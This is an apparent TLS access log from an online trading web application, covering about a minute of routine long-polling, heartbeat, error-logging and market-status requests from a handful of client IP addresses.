[09/Jan/2026:09:48:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:48:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:48:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923594233 HTTP/1.1" -
[09/Jan/2026:09:48:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923581326 HTTP/1.1" -
[09/Jan/2026:09:48:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923581295 HTTP/1.1" -
[09/Jan/2026:09:48:34 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923583059 HTTP/1.1" -
[09/Jan/2026:09:48:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923585775 HTTP/1.1" -
[09/Jan/2026:09:48:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923600229 HTTP/1.1" -
[09/Jan/2026:09:48:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923586372 HTTP/1.1" -
[09/Jan/2026:09:48:38 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923587299 HTTP/1.1" -
[09/Jan/2026:09:48:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923590889 HTTP/1.1" -
[09/Jan/2026:09:48:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:48:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:48:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:48:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:48:40 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923589058 HTTP/1.1" -
[09/Jan/2026:09:48:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923591422 HTTP/1.1" -
[09/Jan/2026:09:48:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923606227 HTTP/1.1" -
[09/Jan/2026:09:48:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923595940 HTTP/1.1" -
[09/Jan/2026:09:48:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:48:44 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923593290 HTTP/1.1" -
[09/Jan/2026:09:48:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:48:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:48:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:48:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:48:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:48:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923595054 HTTP/1.1" -
[09/Jan/2026:09:48:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923596476 HTTP/1.1" -
[09/Jan/2026:09:48:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923612226 HTTP/1.1" -
[09/Jan/2026:09:48:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923601060 HTTP/1.1" -
[09/Jan/2026:09:48:50 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923599300 HTTP/1.1" -
[09/Jan/2026:09:48:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:48:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:48:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923601500 HTTP/1.1" -
[09/Jan/2026:09:48:53 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923602056 HTTP/1.1" -
[09/Jan/2026:09:48:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923606199 HTTP/1.1" -
[09/Jan/2026:09:48:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923618222 HTTP/1.1" -
[09/Jan/2026:09:48:56 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923605302 HTTP/1.1" -
[09/Jan/2026:09:48:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923606532 HTTP/1.1" -
[09/Jan/2026:09:48:59 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923608051 HTTP/1.1" -
[09/Jan/2026:09:48:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923611318 HTTP/1.1" -
[09/Jan/2026:09:48:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:48:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:48:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:49:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:49:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923624225 HTTP/1.1" -
[09/Jan/2026:09:49:02 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923611303 HTTP/1.1" -
[09/Jan/2026:09:49:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923611566 HTTP/1.1" -
[09/Jan/2026:09:49:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923616444 HTTP/1.1" -
[09/Jan/2026:09:49:05 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923614055 HTTP/1.1" -
[09/Jan/2026:09:49:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923630227 HTTP/1.1" -
[09/Jan/2026:09:49:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923616602 HTTP/1.1" -
[09/Jan/2026:09:49:08 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923617302 HTTP/1.1" -
[09/Jan/2026:09:49:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923621511 HTTP/1.1" -
[09/Jan/2026:09:49:11 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923620057 HTTP/1.1" -
[09/Jan/2026:09:49:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923621637 HTTP/1.1" -
[09/Jan/2026:09:49:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923636228 HTTP/1.1" -
[09/Jan/2026:09:49:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:49:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:49:14 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923623290 HTTP/1.1" -
[09/Jan/2026:09:49:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923626650 HTTP/1.1" -
[09/Jan/2026:09:49:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923626690 HTTP/1.1" -
[09/Jan/2026:09:49:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923626052 HTTP/1.1" -
[09/Jan/2026:09:49:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923642224 HTTP/1.1" -
[09/Jan/2026:09:49:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923631789 HTTP/1.1" -
[09/Jan/2026:09:49:20 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923629295 HTTP/1.1" -
[09/Jan/2026:09:49:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:49:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:49:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923631709 HTTP/1.1" -
[09/Jan/2026:09:49:23 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923632061 HTTP/1.1" -
[09/Jan/2026:09:49:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923648230 HTTP/1.1" -
[09/Jan/2026:09:49:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923636918 HTTP/1.1" -
[09/Jan/2026:09:49:26 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923635289 HTTP/1.1" -
[09/Jan/2026:09:49:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923636740 HTTP/1.1" -
[09/Jan/2026:09:49:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923638056 HTTP/1.1" -
[09/Jan/2026:09:49:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:49:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:49:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:49:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:49:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:49:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:49:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:49:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:49:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923642062 HTTP/1.1" -
[09/Jan/2026:09:49:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923654237 HTTP/1.1" -
[09/Jan/2026:09:49:32 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13519?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923641300 HTTP/1.1" -
[09/Jan/2026:09:49:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923641765 HTTP/1.1" -
[09/Jan/2026:09:49:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923644052 HTTP/1.1" -
[09/Jan/2026:09:49:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923647117 HTTP/1.1" -
